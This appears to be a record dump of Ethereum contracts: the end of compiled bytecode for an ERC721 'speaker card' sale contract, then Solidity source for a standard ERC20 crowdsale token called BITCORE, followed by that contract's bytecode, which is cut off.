6020604051808303816000875af192505050801561269757506040513d601f19601f820116820180604052508101906126949190613f54565b60015b61271a573d80600081146126c7576040519150601f19603f3d011682016040523d82523d6000602084013e6126cc565b606091505b50600081511415612712576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161270990613e4f565b60405180910390fd5b805181602001fd5b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161491505061276f565b600190505b949350505050565b6000808273ffffffffffffffffffffffffffffffffffffffff163b119050919050565b8280546127a690612f59565b90600052602060002090601f0160209004810192826127c8576000855561280f565b82601f106127e157805160ff191683800117855561280f565b8280016001018555821561280f579182015b8281111561280e5782518255916020019190600101906127f3565b5b50905061281c9190612820565b5090565b5b80821115612839576000816000905550600101612821565b5090565b6000604051905090565b600080fd5b600080fd5b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b61288681612851565b811461289157600080fd5b50565b6000813590506128a38161287d565b92915050565b6000602082840312156128bf576128be612847565b5b60006128cd84828501612894565b91505092915050565b60008115159050919050565b6128eb816128d6565b82525050565b600060208201905061290660008301846128e2565b92915050565b6000819050919050565b61291f8161290c565b82525050565b600060208201905061293a6000830184612916565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561297a57808201518184015260208101905061295f565b83811115612989576000848401525b50505050565b6000601f19601f8301169050919050565b60006129ab82612940565b6129b5818561294b565b93506129c581856020860161295c565b6129ce8161298f565b840191505092915050565b600060208201905081810360008301526129f381846129a0565b905092915050565b612a048161290c565b8114612a0f57600080fd5b50565b600081359050612a21816129fb565b92915050565b600060208284031215612a3d57612a3c612847565b5b6000612a4b84828501612a12565b91505092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612a7f82612a54565b9050919050565b612a8f81612a74565b82525050565b6000602082019050612aaa6000830184612a86565b92915050565b612ab981612a74565b8114612ac457600080fd5b50565b600081359050612ad681612ab0565b92915050565b60008060408385031215612af357612af2612847565b5b6000612b0185828601612ac7565b9250506020612b1285828601612a12565b9150509250929050565b600080600060608486031215612b3557612b34612847565b5b6000612b4386828701612ac7565b9350506020612b5486828701612ac7565b9250506040612b6586828701612a12565b9150509250925092565b600060208284031215612b8557612b84612847565b5b6000612b9384828501612ac7565b91505092915050565b600080fd5b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612bde8261298f565b810181811067ffffffffffffffff82111715612bfd57612bfc612ba6565b5b80604052505050565b6000612c1061283d565b9050612c1c8282612bd5565b919050565b600067ffffffffffffffff821115612c3c57612c3b612ba6565b5b612c458261298f565b9050602081019050919050565b82818337600083830152505050565b6000612c74612c6f84612c21565b612c06565b905082815260208101848484011115612c9057612c8f612ba1565b5b612c9b848285612c52565b509392505050565b600082601f830112612cb857612cb7612b9c565b5b8135612cc8848260208601612c61565b91505092915050565b600060208284031215612ce757612ce6612847565b5b600082013567ffffffffffffffff811115612d0557612d0461284c565b5b612d1184828501612ca3565b91505092915050565b612d23816128d6565b8114612d2e57600080fd5b50565b600081359050612d4081612d1a565b92915050565b60008060408385031215612d5d57612d5c612847565b5b6000612d6b85828601612ac7565b9250506020612d7c85828601612d31565b9150509250929050565b600067ffffffffffffffff821115612da157612da0612ba6565b5b612daa8261298f565b9050602081019050919050565b6000612dca612dc584612d86565b612c06565b905082815260208101848484011115612de657612de5612ba1565b5b612df1848285612c52565b509392505050565b600082601f830112612e0e57612e0d612b9c565b5b8135612e1e848260208601612db7565b91505092915050565b60008060008060808587031215612e4157612e40612847565b5b6000612e4f87828801612ac7565b9450506020612e6087828801612ac7565b9350506040612e7187828801612a12565b925050606085013567ffffffffffffffff811115612e9257612e9161284c565b5b612e9e87828801612df9565b91505092959194509250565b60008060408385031215612ec157612ec0612847565b5b6000612ecf85828601612ac7565b9250506020612ee085828601612ac7565b9150509250929050565b60008060408385031215612f0157612f00612847565b5b6000612f0f85828601612a12565b9250506020612f2085828601612a12565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680612f7157607f821691505b60208210811415612f8557612f84612f2a565b5b50919050565b7f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b6000612fe7602c8361294b565b9150612ff282612f8b565b604082019050919050565b6000602082019050818103600083015261301681612fda565b9050919050565b7f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b600061307960218361294b565b91506130848261301d565b604082019050919050565b600060208201905081810360008301526130a88161306c565b9050919050565b7f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760008201527f6e6572206e6f7220617070726f76656420666f7220616c6c0000000000000000602082015250565b600061310b60388361294b565b9150613116826130af565b604082019050919050565b6000602082019050818103600083015261313a816130fe565b9050919050565b7f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60008201527f776e6572206e6f7220617070726f766564000000000000000000000000000000602082015250565b600061319d60318361294b565b91506131a882613141565b604082019050919050565b600060208201905081810360008301526131cc81613190565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061320960208361294b565b9150613214826131d3565b602082019050919050565b60006020820190508181036000830152613238816131fc565b9050919050565b7f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460008201527f656e7420746f6b656e0000000000000000000000000000000000000000000000602082015250565b600061329b60298361294b565b91506132a68261323f565b604082019050919050565b600060208201905081810360008301526132ca8161328e565b9050919050565b7f4552433732313a2062616c616e636520717565727920666f7220746865207a6560008201527f726f206164647265737300000000000000000000000000000000000000000000602082015250565b600061332d602a8361294b565b9150613338826132d1565b604082019050919050565b6000602082019050818103600083015261335c81613320565b9050919050565b7f74686520636f6e74726163742073746174757320646f65736e277420616c6c6f60008201527f7720746869730000000000000000000000000000000000000000000000000000602082015250565b60006133bf60268361294b565b91506133ca82613363565b604082019050919050565b600060208201905081810360008301526133ee816133b2565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061342f8261290c565b915061343a8361290c565b92508261344a576134496133f5565b5b828206905092915050565b7f676976656e20746f6b656e4964206973206e6f74206120737065616b6572206360008201527f6172640000000000000000000000000000000000000000000000000000000000602082015250565b60006134b160238361294b565b91506134bc82613455565b604082019050919050565b600060208201905081810360008301526134e0816134a4565b9050919050565b7f7468697320737065616b65722063617264206973206e6f7420666f722073616c60008201527f65206f722068617320616c7265616479206265656e20736f6c64000000000000602082015250565b6000613543603a8361294b565b915061354e826134e7565b604082019050919050565b6000602082019050818103600083015261357281613536565b9050919050565b7f77656920616d6f756e7420646f65736e2774206d61746368207769746820636160008201527f7264207072696365000000000000000000000000000000000000000000000000602082015250565b60006135d560288361294b565b91506135e082613579565b604082019050919050565b60006020820190508181036000830152613604816135c8565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006136458261290c565b915060008214156136595761365861360b565b5b600182039050919050565b600061366f8261290c565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156136a2576136a161360b565b5b600182019050919050565b60006136b88261290c565b91506136c38361290c565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156136fc576136fb61360b565b5b828202905092915050565b60006137128261290c565b915061371d8361290c565b92508261372d5761372c6133f5565b5b828204905092915050565b7f55524920717565727920666f72206e6f6e6578697374656e7420746f6b656e00600082015250565b600061376e601f8361294b565b915061377982613738565b602082019050919050565b6000602082019050818103600083015261379d81613761565b9050919050565b600081905092915050565b60008190508160005260206000209050919050565b600081546137d181612f59565b6137db81866137a4565b945060018216600081146137f657600181146138075761383a565b60ff1983168652818601935061383a565b613810856137af565b60005b8381101561383257815481890152600182019150602081019050613813565b838801955050505b50505092915050565b600061384e82612940565b61385881856137a4565b935061386881856020860161295c565b80840191505092915050565b7f2e6a736f6e000000000000000000000000000000000000000000000000000000600082015250565b60006138aa6005836137a4565b91506138b582613874565b600582019050919050565b60006138cc82856137c4565b91506138d88284613843565b91506138e38261389d565b91508190509392505050565b7f737065616b657220616c72656164792064726f70706564000000000000000000600082015250565b600061392560178361294b565b9150613930826138ef565b602082019050919050565b6000602082019050818103600083015261395481613918565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006139b760268361294b565b91506139c28261395b565b604082019050919050565b600060208201905081810360008301526139e6816139aa565b9050919050565b7f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b6000613a49602c8361294b565b9150613a54826139ed565b604082019050919050565b60006020820190508181036000830152613a7881613a3c565b9050919050565b7f4552433732313a207472616e736665722066726f6d20696e636f72726563742060008201527f6f776e6572000000000000000000000000000000000000000000000000000000602082015250565b6000613adb60258361294b565b9150613ae682613a7f565b604082019050919050565b60006020820190508181036000830152613b0a81613ace565b9050919050565b7f4552433732313a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613b6d60248361294b565b9150613b7882613b11565b604082019050919050565b60006020820190508181036000830152613b9c81613b60565b9050919050565b6000613bae8261290c565b9150613bb98361290c565b925082821015613bcc57613bcb61360b565b5b828203905092915050565b6000613be28261290c565b9150613bed8361290c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613c2257613c2161360b565b5b828201905092915050565b7f416464726573733a20696e73756666696369656e742062616c616e6365000000600082015250565b6000613c63601d8361294b565b9150613c6e82613c2d565b602082019050919050565b60006020820190508181036000830152613c9281613c56565b9050919050565b600081905092915050565b50565b6000613cb4600083613c99565b9150613cbf82613ca4565b600082019050919050565b6000613cd582613ca7565b9150819050919050565b7f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260008201527f6563697069656e74206d61792068617665207265766572746564000000000000602082015250565b6000613d3b603a8361294b565b9150613d4682613cdf565b604082019050919050565b60006020820190508181036000830152613d6a81613d2e565b9050919050565b7f4552433732313a20617070726f766520746f2063616c6c657200000000000000600082015250565b6000613da760198361294b565b9150613db282613d71565b602082019050919050565b60006020820190508181036000830152613dd681613d9a565b9050919050565b7f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560008201527f63656976657220696d706c656d656e7465720000000000000000000000000000602082015250565b6000613e3960328361294b565b9150613e4482613ddd565b604082019050919050565b60006020820190508181036000830152613e6881613e2c565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000613ec582613e9e565b613ecf8185613ea9565b9350613edf81856020860161295c565b613ee88161298f565b840191505092915050565b6000608082019050613f086000830187612a86565b613f156020830186612a86565b613f226040830185612916565b8181036060830152613f348184613eba565b905095945050505050565b600081519050613f4e8161287d565b92915050565b600060208284031215613f6a57613f69612847565b5b6000613f7884828501613f3f565b9150509291505056fea26469706673582212203aad58282ada3d32d4bbba7e7bfcf48874bbb7a65ebc2bbed80fbc9c5ecee5dd64736f6c634300080b0033
[ 5 ]
0xf252a9865eb42460afc81b15c8f3f1ef8bb13704
pragma solidity ^0.4.23; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. **/ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. **/ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). **/ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. **/ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". **/ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender account. **/ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. **/ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. **/ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC20Basic interface * @dev Basic ERC20 interface **/ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 **/ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. **/ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence **/ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. **/ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. **/ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred **/ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. **/ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. **/ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. **/ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. **/ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Configurable * @dev Configurable varriables of the contract **/ contract Configurable { uint256 public constant cap = 21000*10**18; uint256 public constant basePrice = 5*10**18; // tokens per 1 ether uint256 public tokensSold = 0; uint256 public constant tokenReserve = 16000*10**18; uint256 public remainingTokens = 0; } /** * @title CrowdsaleToken * @dev Contract to preform crowd sale with token **/ contract CrowdsaleToken is StandardToken, Configurable, Ownable { /** * @dev enum of current crowd sale state **/ enum Stages { none, icoStart, icoEnd } Stages currentStage; /** * @dev constructor of CrowdsaleToken **/ constructor() public { currentStage = Stages.none; balances[owner] = balances[owner].add(tokenReserve); totalSupply_ = totalSupply_.add(tokenReserve); remainingTokens = cap; emit Transfer(address(this), owner, tokenReserve); } /** * @dev fallback function to send ether to for Crowd sale **/ function () public payable { require(currentStage == Stages.icoStart); require(msg.value > 0); require(remainingTokens > 0); uint256 weiAmount = msg.value; // Calculate tokens to sell uint256 tokens = weiAmount.mul(basePrice).div(1 ether); uint256 returnWei = 0; if(tokensSold.add(tokens) > cap){ uint256 newTokens = cap.sub(tokensSold); uint256 newWei = newTokens.div(basePrice).mul(1 ether); returnWei = weiAmount.sub(newWei); weiAmount = newWei; tokens = newTokens; } tokensSold = tokensSold.add(tokens); // Increment raised amount remainingTokens = cap.sub(tokensSold); if(returnWei > 0){ msg.sender.transfer(returnWei); emit Transfer(address(this), msg.sender, returnWei); } balances[msg.sender] = balances[msg.sender].add(tokens); emit Transfer(address(this), msg.sender, tokens); totalSupply_ = totalSupply_.add(tokens); owner.transfer(weiAmount);// Send money to owner } /** * @dev startIco starts the public ICO **/ function startIco() public onlyOwner { require(currentStage != Stages.icoEnd); currentStage = Stages.icoStart; } /** * @dev endIco closes down the ICO **/ function endIco() internal { currentStage = Stages.icoEnd; // Transfer any remaining tokens if(remainingTokens > 0) balances[owner] = balances[owner].add(remainingTokens); // transfer any remaining ETH balance in the contract to the owner owner.transfer(address(this).balance); } /** * @dev finalizeIco closes down the ICO and sets needed varriables **/ function finalizeIco() public onlyOwner { require(currentStage != Stages.icoEnd); endIco(); } } /** * @title Sekem Klean SemualToken * @dev Contract to create the Sekem Token **/ contract BITCORE is CrowdsaleToken { string public constant name = "BITCORE"; string public constant symbol = "BitCore"; uint32 public constant decimals = 18; }
0x608060405260043610610112576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146104bf578063095ea7b31461054f57806318160ddd146105b457806323b872dd146105df578063313ce56714610664578063355274ea1461069b578063518ab2a8146106c657806366188463146106f157806370a082311461075657806389311e6f146107ad5780638da5cb5b146107c4578063903a3ef61461081b57806395d89b4114610832578063a9059cbb146108c2578063bf58390314610927578063c7876ea414610952578063cbcb31711461097d578063d73dd623146109a8578063dd62ed3e14610a0d578063f2fde38b14610a84575b60008060008060006001600281111561012757fe5b600560149054906101000a900460ff16600281111561014257fe5b14151561014e57600080fd5b60003411151561015d57600080fd5b600060045411151561016e57600080fd5b3494506101a6670de0b6b3a7640000610198674563918244f4000088610ac790919063ffffffff16565b610aff90919063ffffffff16565b935060009250690472698b413b432000006101cc85600354610b1590919063ffffffff16565b1115610246576101f1600354690472698b413b43200000610b3190919063ffffffff16565b9150610228670de0b6b3a764000061021a674563918244f4000085610aff90919063ffffffff16565b610ac790919063ffffffff16565b905061023d8186610b3190919063ffffffff16565b92508094508193505b61025b84600354610b1590919063ffffffff16565b600381905550610280600354690472698b413b43200000610b3190919063ffffffff16565b600481905550600083111561033c573373ffffffffffffffffffffffffffffffffffffffff166108fc849081150290604051600060405180830381858888f193505050501580156102d5573d6000803e3d6000fd5b503373ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a35b61038d846000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b1590919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a361044984600154610b1590919063ffffffff16565b600181905550600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc869081150290604051600060405180830381858888f193505050501580156104b7573d6000803e3d6000fd5b505050505050005b3480156104cb57600080fd5b506104d4610b4a565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105145780820151818401526020810190506104f9565b50505050905090810190601f1680156105415780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561055b57600080fd5b5061059a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b83565b604051808215151515815260200191505060405180910390f35b3480156105c057600080fd5b506105c9610c75565b6040518082815260200191505060405180910390f35b3480156105eb57600080fd5b5061064a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c7f565b604051808215151515815260200191505060405180910390f35b34801561067057600080fd5b50610679611039565b604051808263ffffffff1663ffffffff16815260200191505060405180910390f35b3480156106a757600080fd5b506106b061103e565b6040518082815260200191505060405180910390f35b3480156106d257600080fd5b506106db61104c565b6040518082815260200191505060405180910390f35b3480156106fd57600080fd5b5061073c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611052565b604051808215151515815260200191505060405180910390f35b34801561076257600080fd5b50610797600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112e3565b6040518082815260200191505060405180910390f35b3480156107b957600080fd5b506107c261132b565b005b3480156107d057600080fd5b506107d96113e1565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561082757600080fd5b50610830611407565b005b34801561083e57600080fd5b506108476114a1565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561088757808201518184015260208101905061086c565b50505050905090810190601f1680156108b45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156108ce57600080fd5b5061090d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506114da565b604051808215151515815260200191505060405180910390f35b34801561093357600080fd5b5061093c6116f9565b6040518082815260200191505060405180910390f35b34801561095e57600080fd5b506109676116ff565b6040518082815260200191505060405180910390f35b34801561098957600080fd5b5061099261170b565b6040518082815260200191505060405180910390f35b3480156109b457600080fd5b506109f3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611719565b604051808215151515815260200191505060405180910390f35b348015610a1957600080fd5b50610a6e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611915565b6040518082815260200191505060405180910390f35b348015610a9057600080fd5b50610ac5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061199c565b005b600080831415610ada5760009050610af9565b8183029050818382811515610aeb57fe5b04141515610af557fe5b8090505b92915050565b60008183811515610b0c57fe5b04905092915050565b60008183019050828110151515610b2857fe5b80905092915050565b6000828211151515610b3f57fe5b818303905092915050565b6040805190810160405280600781526020017f424954434f52450000000000000000000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610cbc57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610d0957600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610d9457600080fd5b610de5826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b3190919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e78826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b1590919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f4982600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b3190919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b601281565b690472698b413b4320000081565b60035481565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115611163576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111f7565b6111768382610b3190919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561138757600080fd5b60028081111561139357fe5b600560149054906101000a900460ff1660028111156113ae57fe5b141515156113bb57600080fd5b6001600560146101000a81548160ff021916908360028111156113da57fe5b0217905550565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561146357600080fd5b60028081111561146f57fe5b600560149054906101000a900460ff16600281111561148a57fe5b1415151561149757600080fd5b61149f611af4565b565b6040805190810160405280600781526020017f426974436f72650000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561151757600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561156457600080fd5b6115b5826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b3190919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611648826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b1590919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60045481565b674563918244f4000081565b6903635c9adc5dea00000081565b60006117aa82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b1590919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1